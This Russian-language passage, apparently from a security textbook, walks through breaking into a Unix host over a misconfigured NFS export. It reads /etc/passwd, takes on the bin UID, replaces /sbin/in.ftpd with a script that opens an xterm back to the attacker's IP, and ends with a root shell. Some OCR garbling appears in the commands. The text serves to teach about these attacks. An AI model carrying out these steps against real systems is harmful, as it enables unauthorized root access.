Часто используемые методы удаленного взлома
Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.
nfs> status User id: -2 Group id: -2 Remote host:'quake' Mount path:' / ' Transfer size: 8192
Итак, мы смонтировали файловую систему / с идентификаторами UID и GID, равными – 2. Из соображений безопасности, если вы монтируете удаленную систему как суперпользователь root, ваши идентификаторы UID и GID подменяются другими значениями, отличными от 0. Поскольку мы смонтировали всю файловую систему, теперь без труда можно увидеть содержимое файла /etc/passwd.
nfs> cd /etc nfs> cat passwd root:x:0:1:Super-User:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: Ip:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico listen:x:37:4:Network Admin:/usr/net/nls: nobody:x:60001:60001:Nobody: /: noaccess:x:60002:60002:No Access User:/: nobody4:x:65534:65534:SunOS 4.x Nobody:/: gk:x:1001:10::/export/home/gk:/bin/sh sm:x:lC03:10::/export/home/sm:/bin/sh
Итак, теперь нам известны имена пользователей и соответствующие им идентификаторы. Однако файл паролей является скрытым (shadowed), поэтому им нельзя воспользоваться для взлома паролей. Поскольку мы не можем взломать ни одного пароля и, соответственно, не можем смонтировать файловую систему в качестве суперпользователя, необходимо определить другие идентификаторы пользователей, которые позволяют получить привилегированный доступ. Таким пользователем может оказаться daemon, но лучше всего остановить выбор на учетной записи bin или UID 2, так как на многих системах пользователь bin является владельцем исполняемых файлов. Если взломщик сможет получить доступ к исполняемым файлам посредством системы NFS или каким-либо другим способом, то у большинства систем в таком случае не останется ни единого шанса на выживание. Затем нужно смонтировать систему /usr, изменить идентификаторы UID и GID, а затем попытаться получить доступ к исполняемым файлам.
nfs> mount /usr Using a privileged port(1022) Mount '/usr', TCP, transfer size 8192 bytes. nfs> uid 2 nfs> gid 2 nfs> status User id: 2 Group id: 2 Remote host: 'quake' Mount path: '/usr' Transfer size: 8192
Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, – это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе.
Создадим на нашей системе следующий сценарий и сохраним его в файле in.ftpd.
tt!/bin/sh/usr/openwin/bin/xterm – display 10.10.10.10:0.0 &
Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in.ftpd нашей версией.
nfs> cd /sbin nfs> put in.ftpd
И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.
[tsunami]# xhost +quake quake being added to access control list [tsunami]# ftp quake Connected to quake.
В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in .ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.
# id
uid=0{root)gid=0(root)
#